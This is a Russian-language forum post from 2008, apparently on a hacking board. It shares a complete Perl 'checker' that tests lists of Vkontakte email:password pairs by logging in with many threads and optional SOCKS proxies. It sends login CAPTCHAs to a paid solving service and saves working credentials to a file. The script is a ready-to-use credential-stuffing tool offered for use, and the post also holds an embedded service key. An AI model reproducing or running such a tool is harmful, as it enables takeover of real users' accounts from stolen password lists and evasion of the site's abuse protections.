Показать сообщение отдельно

[perl] Vkontakte Checker by [dei]
  #47  
Старый 18.12.2008, 20:20
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
С нами: 9190406

Репутация: 362
По умолчанию [perl] Vkontakte Checker by [dei]

[ Чеккер аккаунтов Vkontakte ]


Достоинства:
- многопоточность
- обход каптчи
- работа через socks proxy


Для работы нужно:
- создать папку tmp с правами на запись
- прописать в скрипте ключ anti-captcha.com
- perl модули IO::All и LWP::Protocol::Socks (и возможно другие)



Код:
#!/usr/bin/perl -w
###############################
# Vkontakte.ru Accounts Checker
# (c) [dei] 369-476-512
###############################

############ Config ###############
$threads = 10; # количество потоков
$use_socks = 0; #  1/0
	$socks = 'xxx'; # socks - proxy:port
$key = 'c53780b0dbebd2da836447f1c4bd2000'; # anti-captcha.com key
$acs = 'acs.txt'; # аккаунты
$goodacs = 'goods.txt'; # отчеканые аки
################################

use LWP::UserAgent;
use HTTP::Request::Common qw(GET POST);
use MIME::Base64 qw(encode_base64);
use IO::All;
use IO::Handle;
use threads;

sub login( $$ ) {
	my $em = $_[0];
	my $pa = $_[1];
	 
	$em =~ s/@/%40/;
	my $ua = LWP::UserAgent->new;
	if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	my $req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
	$req->referer('http://vkontakte.ru/');
	$req->content_language('ru');
	$req->content_type('application/x-www-form-urlencoded');
	$req->content("email=$em&pass=$pa");
	my $result = $ua->request($req);
	
	if($result->code == 302) { return 1; }
	else {
		while($result->content =~ /<IMG SRC='http:\/\/vkontakte\.ru\/(captcha\.php\?sid=([^']*))'\/>/i)
		{
			if(!($code = anticaptcha('http://vkontakte.ru/'.$1))) {
				print "captcha problems\n"; return 0; }
			my $sid = $2;
			
			$req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
			$req->referer('http://vkontakte.ru/login.php');
			$req->content_language('ru');
			$req->content_type('application/x-www-form-urlencoded');
			$req->content('email='.$em.'&pass='.$pa.'&ccode='.$code.'&csid='.$sid);
			$result = $ua->request($req);
			if($result->code == 302) { return 1; }
			else {
				if($result->content =~ /<div id='message'>/) {
					my $u = "http://anti-captcha.com/res.php?key=$key&action=reportbad&id=$cid";
					$ua->request(GET $u);
					next;
				}
				else { return 0; }
			}
		}	
	}
}


sub myrand( $ ) {
	$int='';
	for($i=1;$i<=$_[0];$i++) { $int .= int(rand(10)) }
	return $int;
}


sub anticaptcha ( $ ) {
	my $url = $_[0];

	my $fname = 'tmp/'.myrand(6).'.jpg';

	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	
	my $count = 1;
	while( my $result = $ua->request(HTTP::Request->new(GET=>$url), $fname)) {
	
		my $u = 'http://anti-captcha.com/in.php';
		$answ = $ua->request(POST $u, 
		Content_Type => 'form-data', 
		Content => [ method => 'base64',
						key => $key, 
					   body => encode_base64( io($fname)->all ),
					   ext  => 'jpg'
			       ]);
				
		unlink $fname;
		
		if(!($answ->is_success)) { $count++; print "redo\n"; redo; }
		if($answ->content =~ /^OK\|(\d+)$/) {
			$cid = $1;
			sleep(7);
			if(my $code = getccode($cid)) { return $code; }
		}
		else { if($answ->content =~ /ERROR_NO_SLOT_AVAILABLE/ ||
			$answ->content =~ /ERROR_IMAGE_IS_NOT_JPEG/) { print next; }
		}
		if($count == 5) { print "Cannt connect to Anti-Captcha.\n"; return 0; }
		return 0;
	}
}	

	
sub getccode ( $ ) {	
	my $cid = $_[0];
	my $count = 1;
	
	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	while(my $c = $ua->request(HTTP::Request->new(
		GET=>"http://anti-captcha.com/res.php?key=$key&action=get&id=$cid")))
	{
		$cap = $c->content;
		if($cap =~ /^OK\|(.+)$/) { return $1; }
		else {
			if($cap =~ /^ERROR.+/) {
				print "[error]\n";
				return 0; 
			}
		}
		if($count == 10) { return 0; }
		$count++;
		
		sleep(5);
	}
}


sub check( $ ) {
	local $c = $_[0];
	
	my @a = io($acs)->slurp;
	
	for(my $i=$c;$i<scalar(@a);$i+=$threads) {
		
		my $line = $a[$i];
		$line =~ s/\n|\r$//g;
		my($e,$p)=split(':',$line);
		
		if(login($e,$p)) {
			print "[GOOD] ".$e."\n";
			print GD "$e:$p\n";
		} else {
			print "[BAD] ".$e."\n";
		}
	}
}


my @threadz;

open(GD,"> $goodacs");
GD->autoflush(1);


for my $i (0..($threads-1)) {
  push @threadz, threads->create(\&check, $i);
  sleep(3);
}


foreach my $thread (@threadz) {
    $thread->join();
}

Последний раз редактировалось [dei]; 18.12.2008 в 21:12..
 
Ответить с цитированием